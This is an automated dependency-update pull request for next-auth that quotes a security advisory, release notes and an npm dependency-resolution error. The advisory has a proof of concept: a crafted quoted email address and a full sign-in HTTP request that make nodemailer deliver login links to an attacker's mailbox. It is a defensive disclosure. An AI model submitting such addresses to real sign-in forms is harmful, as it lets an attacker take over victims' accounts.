fix(deps): update dependency next-auth to v4.24.12 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
next-auth (source)	4.24.5 -> 4.24.12

GitHub Vulnerability Alerts

GHSA-5jpx-9hw9-2fx4

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"[email protected]"@​victim.com

is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version	Afftected
4.24.11	Yes
5.0.0-beta.29	Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@​auth/prisma-adapter"
import { prisma } from "@​/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "[email protected]",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})

POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

---

Release Notes

nextauthjs/next-auth (next-auth)

v4.24.12

Compare Source

v4.24.11

Compare Source

v4.24.10

Compare Source

What's Changed

• fix: functions that return promises must be async by @​thomaslindstrom in #​12105
• fix: support AUTH_SECRET for compat with npx auth secret by @​balazsorban44 in 490a033

Full Changelog: https://github.com/nextauthjs/next-auth/compare/[email protected]@4.24.10

v4.24.9

Compare Source

What's Changed

• chore(docs): fix typo in WorkOS documentation by @​outofgamut in #​11959
• chore(v4): add neon sponsor by @​ndom91 in #​12008
• cookie package upgraded by @​talyuk in #​12046
• Allow Next.js v15 peer dependency by @​thomaslindstrom in #​12098
• await dynamic APIs as per Next.js 15 changes by @​balazsorban44 in 4d143c5

New Contributors

• @​outofgamut made their first contribution in #​11959
• @​talyuk made their first contribution in #​12046
• @​thomaslindstrom made their first contribution in #​12098

Full Changelog: https://github.com/nextauthjs/next-auth/compare/[email protected]@4.24.9

v4.24.8

Compare Source

What's Changed

• allow optional identifier param
• optionally check identifier
• tweak email flow, change homepage
• fix: typo in Naver Provider options url by @​no-pla in #​10483
• fix(providers): Update Foursquare profile callback + API version by @​MatyiFKBT in #​11348
• fix(ts): add compat types for @auth/*-adapters for v4 by @​balazsorban44 in #​11562
• fix:Matcher wildcard docs-Update securing-pages-and-api-routes.md by @​yaodada123 in #​11599
• Update linkedin.ts to support new scopes by @​PragyanSubedi in #​11805
• fix: updated email for auth user in github endpoint by @​A91y in #​11896

New Contributors

• @​martinkariuki7 made their first contribution in #​10329
• @​no-pla made their first contribution in #​10483
• @​azadious made their first contribution in #​10603
• @​mbrookson made their first contribution in #​10916
• @​craftycodie made their first contribution in #​10921
• @​erik-gullberg-devoteam made their first contribution in #​11323
• @​yaodada123 made their first contribution in #​11599
• @​PragyanSubedi made their first contribution in #​11805
• @​leorente made their first contribution in #​11855
• @​A91y made their first contribution in #​11896

Full Changelog: https://github.com/nextauthjs/next-auth/compare/[email protected]@4.24.8

v4.24.7

Compare Source

Others

• chore(deps): bump jose (#​10240). See: https://github.com/panva/jose/releases/tag/v4.15.5

v4.24.6

Compare Source

Bugfixes

• providers: correct nodemailer imports (#​9261) (fa287be)

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json

npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR! 
npm ERR! While resolving: @freecodecamp/[email protected]
npm ERR! Found: [email protected]
npm ERR! node_modules/nodemailer
npm ERR!   peerOptional nodemailer@"^6.8.0" from @auth/[email protected]
npm ERR!   node_modules/@auth/core
npm ERR!     peerOptional @auth/core@"0.34.2" from [email protected]
npm ERR!     node_modules/next-auth
npm ERR!       next-auth@"4.24.12" from the root project
npm ERR! 
npm ERR! Could not resolve dependency:
npm ERR! peerOptional nodemailer@"^7.0.7" from [email protected]
npm ERR! node_modules/next-auth
npm ERR!   next-auth@"4.24.12" from the root project
npm ERR! 
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR! 
npm ERR! See /runner/cache/others/npm/eresolve-report.txt for a full report.

npm ERR! A complete log of this run can be found in:
npm ERR!     /runner/cache/others/npm/_logs/2025-11-18T22_40_26_174Z-debug-0.log